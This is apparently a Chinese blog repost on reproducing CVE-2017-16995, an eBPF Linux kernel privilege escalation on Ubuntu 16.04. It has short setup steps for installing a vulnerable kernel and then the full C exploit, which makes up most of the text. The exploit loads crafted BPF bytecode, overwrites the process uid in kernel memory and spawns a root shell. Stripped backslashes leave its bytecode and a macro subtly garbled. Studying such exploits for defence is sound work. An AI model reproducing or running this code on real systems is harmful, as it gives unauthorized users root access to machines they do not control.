• (CVE-2017-16995)Ubuntu内核提权


    (CVE-2017-16995)Ubuntu内核提权

    一、漏洞简介

    低权限用户可使用此漏洞获得管理权限。

    二、漏洞影响

    影响内核 Linux Kernel Version 4.14-4.4

    仅影响 Ubuntu/Debian发行版本

    经i春秋安全研究院测试 Ubuntu 16.04.1~Ubuntu 16.04.4均存在此漏洞

    三、复现过程

    1)搭建环境

    • sudo apt-get install linux-headers-4.4.0-81-generic linux-image-4.4.0-81-generic 下载需要的版本内核

    • 修改grub.cfg文件 vim /boot/grub/grub.cfg

    • 修改后重启计算机即可更换内核

    2) 复现

    • 下载poc并编译

      下载地址

      https://github.com/Al1ex/CVE-2017-16995

      /*
       * Ubuntu 16.04.4 kernel priv esc
       *
       * all credits to @bleidl
       * - vnik
       */
      
      // Tested on:
      // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
      // if different kernel adjust CRED offset + check kernel stack size
      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <string.h>
      #include <linux/bpf.h>
      #include <linux/unistd.h>
      #include <sys/mman.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <sys/stat.h>
      #include <stdint.h>
      
      #define PHYS_OFFSET 0xffff880000000000
      #define CRED_OFFSET 0x5f8
      #define UID_OFFSET 4
      #define LOG_BUF_SIZE 65536
      #define PROGSIZE 328
      
      int sockets[2];
      int mapfd, progfd;
      
      char *__prog = 	"xb4x09x00x00xffxffxffxff"
      		"x55x09x02x00xffxffxffxff"
      		"xb7x00x00x00x00x00x00x00"
      		"x95x00x00x00x00x00x00x00"
      		"x18x19x00x00x03x00x00x00"
      		"x00x00x00x00x00x00x00x00"
      		"xbfx91x00x00x00x00x00x00"
      		"xbfxa2x00x00x00x00x00x00"
      		"x07x02x00x00xfcxffxffxff"
      		"x62x0axfcxffx00x00x00x00"
      		"x85x00x00x00x01x00x00x00"
      		"x55x00x01x00x00x00x00x00"
      		"x95x00x00x00x00x00x00x00"
      		"x79x06x00x00x00x00x00x00"
      		"xbfx91x00x00x00x00x00x00"
      		"xbfxa2x00x00x00x00x00x00"
      		"x07x02x00x00xfcxffxffxff"
      		"x62x0axfcxffx01x00x00x00"
      		"x85x00x00x00x01x00x00x00"
      		"x55x00x01x00x00x00x00x00"
      		"x95x00x00x00x00x00x00x00"
      		"x79x07x00x00x00x00x00x00"
      		"xbfx91x00x00x00x00x00x00"
      		"xbfxa2x00x00x00x00x00x00"
      		"x07x02x00x00xfcxffxffxff"
      		"x62x0axfcxffx02x00x00x00"
      		"x85x00x00x00x01x00x00x00"
      		"x55x00x01x00x00x00x00x00"
      		"x95x00x00x00x00x00x00x00"
      		"x79x08x00x00x00x00x00x00"
      		"xbfx02x00x00x00x00x00x00"
      		"xb7x00x00x00x00x00x00x00"
      		"x55x06x03x00x00x00x00x00"
      		"x79x73x00x00x00x00x00x00"
      		"x7bx32x00x00x00x00x00x00"
      		"x95x00x00x00x00x00x00x00"
      		"x55x06x02x00x01x00x00x00"
      		"x7bxa2x00x00x00x00x00x00"
      		"x95x00x00x00x00x00x00x00"
      		"x7bx87x00x00x00x00x00x00"
      		"x95x00x00x00x00x00x00x00";
      
      char bpf_log_buf[LOG_BUF_SIZE];
      
      static int bpf_prog_load(enum bpf_prog_type prog_type,
      		  const struct bpf_insn *insns, int prog_len,
      		  const char *license, int kern_version) {
      	union bpf_attr attr = {
      		.prog_type = prog_type,
      		.insns = (__u64)insns,
      		.insn_cnt = prog_len / sizeof(struct bpf_insn),
      		.license = (__u64)license,
      		.log_buf = (__u64)bpf_log_buf,
      		.log_size = LOG_BUF_SIZE,
      		.log_level = 1,
      	};
      
      	attr.kern_version = kern_version;
      
      	bpf_log_buf[0] = 0;
      
      	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
      }
      
      static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
      		   int max_entries) {
      	union bpf_attr attr = {
      		.map_type = map_type,
      		.key_size = key_size,
      		.value_size = value_size,
      		.max_entries = max_entries
      	};
      
      	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
      }
      
      static int bpf_update_elem(uint64_t key, uint64_t value) {
      	union bpf_attr attr = {
      		.map_fd = mapfd,
      		.key = (__u64)&key,
      		.value = (__u64)&value,
      		.flags = 0,
      	};
      
      	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
      }
      
      static int bpf_lookup_elem(void *key, void *value) {
      	union bpf_attr attr = {
      		.map_fd = mapfd,
      		.key = (__u64)key,
      		.value = (__u64)value,
      	};
      
      	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
      }
      
      static void __exit(char *err) {
      	fprintf(stderr, "error: %s
      ", err);
      	exit(-1);
      }
      
      static void prep(void) {
      	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
      	if (mapfd < 0)
      		__exit(strerror(errno));
      
      	progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
      			(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
      
      	if (progfd < 0)
      		__exit(strerror(errno));
      
      	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
      		__exit(strerror(errno));
      
      	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
      		__exit(strerror(errno));
      }
      
      static void writemsg(void) {
      	char buffer[64];
      
      	ssize_t n = write(sockets[0], buffer, sizeof(buffer));
      
      	if (n < 0) {
      		perror("write");
      		return;
      	}
      	if (n != sizeof(buffer))
      		fprintf(stderr, "short write: %lu
      ", n);
      }
      
      #define __update_elem(a, b, c) 
      	bpf_update_elem(0, (a)); 
      	bpf_update_elem(1, (b)); 
      	bpf_update_elem(2, (c)); 
      	writemsg();
      
      static uint64_t get_value(int key) {
      	uint64_t value;
      
      	if (bpf_lookup_elem(&key, &value))
      		__exit(strerror(errno));
      
      	return value;
      }
      
      static uint64_t __get_fp(void) {
      	__update_elem(1, 0, 0);
      
      	return get_value(2);
      }
      
      static uint64_t __read(uint64_t addr) {
      	__update_elem(0, addr, 0);
      
      	return get_value(2);
      }
      
      static void __write(uint64_t addr, uint64_t val) {
      	__update_elem(2, addr, val);
      }
      
      static uint64_t get_sp(uint64_t addr) {
      	return addr & ~(0x4000 - 1);
      }
      
      static void pwn(void) {
      	uint64_t fp, sp, task_struct, credptr, uidptr;
      
      	fp = __get_fp();
      	if (fp < PHYS_OFFSET)
      		__exit("bogus fp");
      	
      	sp = get_sp(fp);
      	if (sp < PHYS_OFFSET)
      		__exit("bogus sp");
      	
      	task_struct = __read(sp);
      
      	if (task_struct < PHYS_OFFSET)
      		__exit("bogus task ptr");
      
      	printf("task_struct = %lx
      ", task_struct);
      
      	credptr = __read(task_struct + CRED_OFFSET); // cred
      
      	if (credptr < PHYS_OFFSET)
      		__exit("bogus cred ptr");
      
      	uidptr = credptr + UID_OFFSET; // uid
      	if (uidptr < PHYS_OFFSET)
      		__exit("bogus uid ptr");
      
      	printf("uidptr = %lx
      ", uidptr);
      	__write(uidptr, 0); // set both uid and gid to 0
      
      	if (getuid() == 0) {
      		printf("spawning root shell
      ");
      		system("/bin/bash");
      		exit(0);
      	}
      
      	__exit("not vulnerable?");
      }
      
      int main(int argc, char **argv) {
      	prep();
      	pwn();
      
      	return 0;
      }打开所在目录
      
    • 打开poc.c所在目录

    • 运行poc

    四、参考连接

    https://blog.csdn.net/DarkHQ/article/details/79622652

  • 相关阅读:
    Mybatis的动态sql以及分页
    Mybatis入门
    使用java代码操作Redis
    Redis安装和基本操作
    idea安装以及使用
    卢卡斯定理 Lucas (p为素数)
    三分/优选法(黄金分割法)求单峰函数极值
    缩点tarjan
    tarjan 求割点
    tarjan
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/13285085.html
Copyright © 2020-2023  润新知